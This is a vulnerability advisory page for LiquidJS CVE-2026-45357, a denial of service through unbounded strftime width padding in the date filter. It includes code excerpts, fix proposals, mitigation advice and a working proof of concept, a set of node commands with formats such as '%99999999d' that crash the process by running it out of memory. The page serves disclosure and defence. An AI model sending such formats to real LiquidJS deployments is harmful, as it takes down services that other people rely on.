LiquidJS CVE-2026-45357
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/harttle/liquidjs) · only source for this CVE.
CVSS VectorVendor: https://github.com/harttle/liquidjs
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
2Blast Radius
ecosystem impact- 22 npm packages depend on liquidjs (11 direct, 11 indirect)
Ecosystem-wide dependent count for version 10.25.7.
DescriptionCVE.org
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls - and which the docstring explicitly mentions for strftime - are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format - a documented and tested usage pattern - exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install liquidjs@10.25.7.
Step 1 - bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 - OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls -
memoryLimitandrenderLimit- meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All
date_to_xmlschema,date_to_rfc822,date_to_string,date_to_long_stringpaths share the same sink viastrftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is ondate.
Recommended Fix
Two complementary fixes:
- Have
pad()insrc/util/underscore.tscharge the Context's memory limit and useString.prototype.repeatinstead of an O(n) concatenation loop. Sincepad()is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
str = String(str)
const n = length - str.length
if (n <= 0) return str
return add === ((s, c) => c + s)
? ch.repeat(n) + str
: str + ch.repeat(n)
}- Cap
padWidthinsrc/util/strftime.ts:141and account for it viamemoryLimit. Thedatefilter (src/filters/date.ts) should also chargethis.context.memoryLimit.use(parsedMaxWidth)before invokingstrftime, e.g. by scanning the format for%(\d+)widths and summing them. A conservative cap (e.g.Math.min(width, 1024)for non-Nconversions) is also reasonable - strftime widths beyond a few dozen characters have no legitimate use.
Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
AnalysisAI
{{ x | date: f }}` can generate multi-megabyte output or trigger an out-of-memory crash of the host Node.js process. Publicly available exploit code (a verified PoC) exists; there is no CISA KEV listing and no EPSS score in the provided data.
Technical ContextAI
LiquidJS is a Liquid-syntax templating engine widely used in Node.js (and browser) applications, including static-site generators and CMS-style rendering pipelines. The root cause is CWE-400 (Uncontrolled Resource Consumption): the date filter in src/filters/date.ts charges memoryLimit only for the lengths of the value, format, and timezone, then delegates to strftime (src/util/strftime.ts). strftime parses format width groups with the regex /%([-_0^#:]+)?(\d+)?([EO])?(.)/ and forwards the captured width directly to padStart, which calls the generic pad() helper in src/util/underscore.ts. That helper runs while (n-- > 0) str = add(str, ch) - an unbounded loop using repeated string concatenation, so per-byte cost grows with output size and amplifies CPU usage. Filter arguments are context-evaluated (src/template/filter.ts, evalToken(arg, context)), so a context-supplied format string reaches the sink. CPE/package data identifies the single affected artifact as pkg:npm/liquidjs.
RemediationAI
No vendor-released patch identified at time of analysis - the advisory lists fixed version as None, so a tagged upgrade is not yet available. The most effective immediate mitigation is to stop passing attacker-influenceable context values into the date filter's format argument: hard-code date formats in templates instead of using patterns like {{ post.created_at | date: user_supplied_format }}, which removes attacker control of the strftime width and eliminates the sink (side effect: end users lose any ability to choose their own date format). Where formats must remain dynamic, validate or allowlist them and strip numeric width specifiers (reject formats matching %\d+) before rendering; this blocks the abuse but rejects legitimate but unusual width usage. Note that setting memoryLimit and renderLimit does NOT help here - the PoC demonstrates both are bypassed on this code path, so operators should not rely on them. The maintainer's recommended upstream fix (per GHSA-hh27-hf48-9f5q) is to make pad() in src/util/underscore.ts charge the memory limit and use String.prototype.repeat instead of the O(n) concatenation loop, and to cap padWidth in src/util/strftime.ts (e.g. Math.min(width, 1024) for non-N conversions) while charging memoryLimit for the requested width in src/filters/date.ts; apply the released patched version once published.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-hh27-hf48-9f5q